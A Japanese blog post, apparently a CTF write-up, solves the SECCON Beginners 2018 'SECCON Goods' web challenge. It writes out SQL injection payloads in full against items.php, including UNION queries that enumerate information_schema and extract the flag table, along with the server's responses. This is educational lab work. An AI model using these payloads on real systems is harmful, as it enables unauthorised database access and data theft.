好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON BeginnersCTF 2018 復習 [Web] SECCON Goods

SECCON BeginnersCTF 2018 に参加したので wite-upを書いたけど 解けなかった問題が多かったしコンテスト環境しばらく残していただけるそうなので、後追いでやってみる。(ほぼ大会中の話だったりする)

write-upはこちら kusuwada.hatenablog.com

[Web] SECCON Goods

途中までwrite-up。試行錯誤の記録。

問題

SECCON ショップへようこそ!在庫情報はこちらをご覧ください。

http://goods.chall.beginners.seccon.jp

これだけ。そういえば今回は、タイトルと解き方が全くリンクしていない(ヒントになっていない)ものが多かったなぁ。

まずはアクセスしてみる。

f:id:kusuwada:20180528215249p:plain

SECCON Goods SECCON グッズたちの在庫情報です。 SECCON には在庫限りのグッズがたくさんあります。在庫一覧を用意しましたので、ぜひ各地で開催される SECCON Beginners はじめ SECCON 関連イベントでお買い求めください!

こないだSECCON2017決勝大会会場でグッズ買ったよ!(関係無)
ページの情報からはFlagに繋がりそうになかったので、ソースを見てみる。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <title>SECCON Goods</title>
    <link rel="stylesheet" href="css/style.css" charset="utf-8">    
    <link rel="stylesheet" href="css/bootstrap.min.css" charset="utf-8">
    <script src="js/bootstrap.min.js"></script>

    <script src="js/vue.min.js"></script>    
    <script src="js/axios.min.js"></script>
  </head>
  <body>
    <header>
      <div class="navbar navbar-dark bg-dark">
        <div class="container d-flex justify-content-between">
          <a href="#" class="navbar-brand">SECCON Goods</a>
        </div>
      </div>
    </header>
    
    <main role="main">
      <div class="container">
        <div class="row">
          <div class="col-12" id="view_root">
            <div class="jumbotron">
              <h1 class="display-4">SECCON Goods</h1>
              <p class="lead">SECCON グッズたちの在庫情報です。</p>
              <hr class="my-4">
              <p>SECCON には在庫限りのグッズがたくさんあります。在庫一覧を用意しましたので、ぜひ各地で開催される SECCON Beginners はじめ SECCON 関連イベントでお買い求めください!</p>
            </div>

            <table>
              <thead>
                <tr>
                  <th v-for="column in columns"> {{ column }}</th>
                </tr>
              </thead>
              <tbody>
                <tr v-for="item in items">
                  <td> {{ item.name  }}  </td>
                  <td> {{ item.description  }}  </td>
                  <td> {{ item.price  }}  </td>
                  <td> {{ item.stock  }}  </td>
                </tr>
              </tbody>
            </table>
          </div>
        </div>
      </div>
    </main>
    <script src="js/init.js"></script>
  </body>
</html>

中で在庫表を作成するのに使われている js/init.jshttp://goods.chall.beginners.seccon.jp/js/init.js にアクセスして確認。

js/init.js

vm = new Vue({
    el: '#view_root',
    data: {
        columns: {name:"商品名", description:"説明", price:"価格", stock:"在庫"},
        items: [{name: "Now loading", description: "Now loading", price: "0 YEN", stock: "0"}],
    },
    mounted(){
        axios.get('/items.php?minstock=0')
            .then(function (response) {
                console.log(vm.$data);
                vm.$data.items = response.data;
            })
            .catch(function (error) {
                console.log(error);
            });
    }
})

更に、このコードの真ん中あたりで在庫情報をとってくるのに使われている /items.php?minstock=0items.php にアクセスしてみると、こんなレスポンスが。

[
    {
        "id": "1",
        "name": "Tシャツ",
        "description": "S サイズ",
        "price": "2000",
        "stock": "8"
    },
    {
        "id": "2",
        "name": "Tシャツ",
        "description": "M サイズ",
        "price": "2000",
        "stock": "3"
    },
    {
        "id": "3",
        "name": "Tシャツ",
        "description": "L サイズ",
        "price": "2000",
        "stock": "7"
    },
    {
        "id": "4",
        "name": "Tシャツ",
        "description": "XL サイズ",
        "price": "2000",
        "stock": "4"
    },
    {
        "id": "5",
        "name": "パーカー",
        "description": "S サイズ",
        "price": "5000",
        "stock": "7"
    },
    {
        "id": "6",
        "name": "パーカー",
        "description": "M サイズ",
        "price": "5000",
        "stock": "5"
    },
    {
        "id": "7",
        "name": "パーカー",
        "description": "L サイズ",
        "price": "5000",
        "stock": "3"
    },
    {
        "id": "8",
        "name": "パーカー",
        "description": "XL サイズ",
        "price": "5000",
        "stock": "2"
    }
]

ここまで辿れるからには、きっとこの在庫を管理しているDBに対してクエリをかけるあたりになんかしら仕込むに違いない。(ぴーん!)
ということで、このurlの最後のクエリ部分をいじることでSQLインジェクションが出来ないか試してみる。

可能性としては

  1. items のリストが実はこれだけじゃなくて flag レコード的な隠しレコードが存在する
  2. 表示されている列だけではなく、flagに関係する列がある
  3. 別テーブルに flag が隠されている

くらいかな。

まずはこんなクエリを投げてみる

http://goods.chall.beginners.seccon.jp/items.php?minstock=0 and 1=2

中でクエリ部分の処理が、request urlのquery(すなわち minstock=0 and 1=2)をそのままDBのクエリに使用しているならば、例えば

SELECT * FROM itmes WHRER minstock=0 AND 1=2

みたいなクエリが流れて、 1=2 は常にfalseなのでレコードが取得できなくなるはず。

[]

実際、空のリストが返ってきた。ということは、やはりqueryパラメータで指定した条件式をそのままDBのクエリに使用しているっぽい。
※実際は、解釈できないクエリ文や不正なクエリ文がきたら空を返すようにしている可能性はある。が、以降を試すうちにやはりDBのクエリに直接利用されていることがわかる。

次に試すのは、

minstock=0 or 1=1

※以下リクエストurlは、pathを省略してクエリ文のみ記載

もし minstock=0 の他にも予め条件式が設定されていて 1. のようなケースで flag レコードだけ表示されていなかったなら、このクエリで flag レコードもゲットできるはず!

[
    {
        "id": "1",
        "name": "Tシャツ",
        "description": "S サイズ",
        "price": "2000",
        "stock": "8"
    },
    {
        "id": "2",
        "name": "Tシャツ",
        "description": "M サイズ",
        "price": "2000",
        "stock": "3"
    },
    {
        "id": "3",
        "name": "Tシャツ",
        "description": "L サイズ",
        "price": "2000",
        "stock": "7"
    },
    {
        "id": "4",
        "name": "Tシャツ",
        "description": "XL サイズ",
        "price": "2000",
        "stock": "4"
    },
    {
        "id": "5",
        "name": "パーカー",
        "description": "S サイズ",
        "price": "5000",
        "stock": "7"
    },
    {
        "id": "6",
        "name": "パーカー",
        "description": "M サイズ",
        "price": "5000",
        "stock": "5"
    },
    {
        "id": "7",
        "name": "パーカー",
        "description": "L サイズ",
        "price": "5000",
        "stock": "3"
    },
    {
        "id": "8",
        "name": "パーカー",
        "description": "XL サイズ",
        "price": "5000",
        "stock": "2"
    }
]

最初と同じ結果が得られた。どうやらtopページに現れていたレコードが全てらしい。1 のパターンではないようだ。

2 のパターンはちょっと思いつかなかったので実施せず。
schema情報を取得してみる@後追いパートを使えば確認できる。

3 のパターンを疑って、union 系のクエリも試してみる。

minstock=0 union all select * from items

今度は返却アイテムが倍になって(同じのが2個ずつ)返ってきた。在庫リストのtable名はあてずっぽうだったが items であっているらしい。

※かさばるので未整形

[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"2","name":"T\u30b7\u30e3\u30c4","description":"M \u30b5\u30a4\u30ba","price":"2000","stock":"3"},{"id":"3","name":"T\u30b7\u30e3\u30c4","description":"L \u30b5\u30a4\u30ba","price":"2000","stock":"7"},{"id":"4","name":"T\u30b7\u30e3\u30c4","description":"XL \u30b5\u30a4\u30ba","price":"2000","stock":"4"},{"id":"5","name":"\u30d1\u30fc\u30ab\u30fc","description":"S \u30b5\u30a4\u30ba","price":"5000","stock":"7"},{"id":"6","name":"\u30d1\u30fc\u30ab\u30fc","description":"M \u30b5\u30a4\u30ba","price":"5000","stock":"5"},{"id":"7","name":"\u30d1\u30fc\u30ab\u30fc","description":"L \u30b5\u30a4\u30ba","price":"5000","stock":"3"},{"id":"8","name":"\u30d1\u30fc\u30ab\u30fc","description":"XL \u30b5\u30a4\u30ba","price":"5000","stock":"2"},{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"2","name":"T\u30b7\u30e3\u30c4","description":"M \u30b5\u30a4\u30ba","price":"2000","stock":"3"},{"id":"3","name":"T\u30b7\u30e3\u30c4","description":"L \u30b5\u30a4\u30ba","price":"2000","stock":"7"},{"id":"4","name":"T\u30b7\u30e3\u30c4","description":"XL \u30b5\u30a4\u30ba","price":"2000","stock":"4"},{"id":"5","name":"\u30d1\u30fc\u30ab\u30fc","description":"S \u30b5\u30a4\u30ba","price":"5000","stock":"7"},{"id":"6","name":"\u30d1\u30fc\u30ab\u30fc","description":"M \u30b5\u30a4\u30ba","price":"5000","stock":"5"},{"id":"7","name":"\u30d1\u30fc\u30ab\u30fc","description":"L \u30b5\u30a4\u30ba","price":"5000","stock":"3"},{"id":"8","name":"\u30d1\u30fc\u30ab\u30fc","description":"XL \u30b5\u30a4\u30ba","price":"5000","stock":"2"}]

では flag 用のtableがあると想定するとどうだろうか。

minstock=0 union all select * from flag

もしくは

minstock=0 union all select * from flags
[]

あれ、からのリストが返ってきた。flagflags テーブルがあるわけじゃないのか。


ここで競技は時間切れ。
後追いで他の方のwrite-up記事見たり調べたりしてわかったこと

<構造が異なる表を連結>
SELECT 表1の列名のリスト FROM 表名1 UNION SELECT 表2の列名のリスト FROM 表名2 UNION ...;
(例)
SELECT 商品コード, 単価 FROM 新商品
UNION
SELECT 商品コード, 単価 FROM 売上明細;

・2つ目以降のSELECT句の列数と各列のデータ型は、1つ目のSELECT句にそろえます。

Programingお役立ちメモ より

あ、もしflag table があったとしても、列数やデータ型を揃えないと union 出来ないのか。そりゃそうだ。SQLの基本中の基本でした。

ここまで勘でやってきた「どんなtableがあるのか」と「各tableのSchema」は?をどうやって見つけるかも含めて復習。

まず「どんなtableがあるのか」については、MySQLの場合だと information_schema.tables というのが使えるらしい。

MySQL: 第 21 章 INFORMATION_SCHEMA テーブル

これを使ってtable情報を取得してみる。

minstock=0 union all select table_name,2,3,4,5 FROM information_schema.tables
[
    { 
        "・・・":"最初は在庫情報なので省略"
    },
    {
        "id": "CHARACTER_SETS",
        "name": "2",
        "description": "3",
        "price": "4",
        "stock": "5"
    },
    {
        "id": "COLLATIONS",
        "name": "2",
        "description": "3",
        "price": "4",
        "stock": "5"
    },
    {
        "・・・": "中略"
    },
    {
        "id": "flag",
        "name": "2",
        "description": "3",
        "price": "4",
        "stock": "5"
    },
    {
        "id": "items",
        "name": "2",
        "description": "3",
        "price": "4",
        "stock": "5"
    }
]

おお、 itemsflag tableがあるある。
さらに、それぞれの Schema を確認する。

こちらも、MySQLの場合だと information_schema.columns というのが使えるらしい。 show_column とほぼ同義だとか。

MySQL: 21.4 INFORMATION_SCHEMA COLUMNS テーブル

今度はflagのschema情報を取得してみる。

minstock=0 union all select column_name,2,3,4,5 from information_schema.columns where table_name='flag'
[
    { 
        "・・・":"最初は在庫情報なので省略"
    },
    {
        "id": "flag",
        "name": "2",
        "description": "3",
        "price": "4",
        "stock": "5"
    }
]

flagという列のみ存在するらしい。

ここまでわかったので、あとは flag table から flag 列の情報を抜いてくるクエリをかける。

minstock=0 union all select flag,2,3,4,5 from flag
[
    { 
        "・・・":"最初は在庫情報なので省略"
    },
    {
        "id": "ctf4b{cl4551c4l_5ql_1nj3c710n}",
        "name": "2",
        "description": "3",
        "price": "4",
        "stock": "5"
    }
]

他の SECCON BeginnersCTF 2018 関連記事リンク

kusuwada.hatenablog.com

kusuwada.hatenablog.com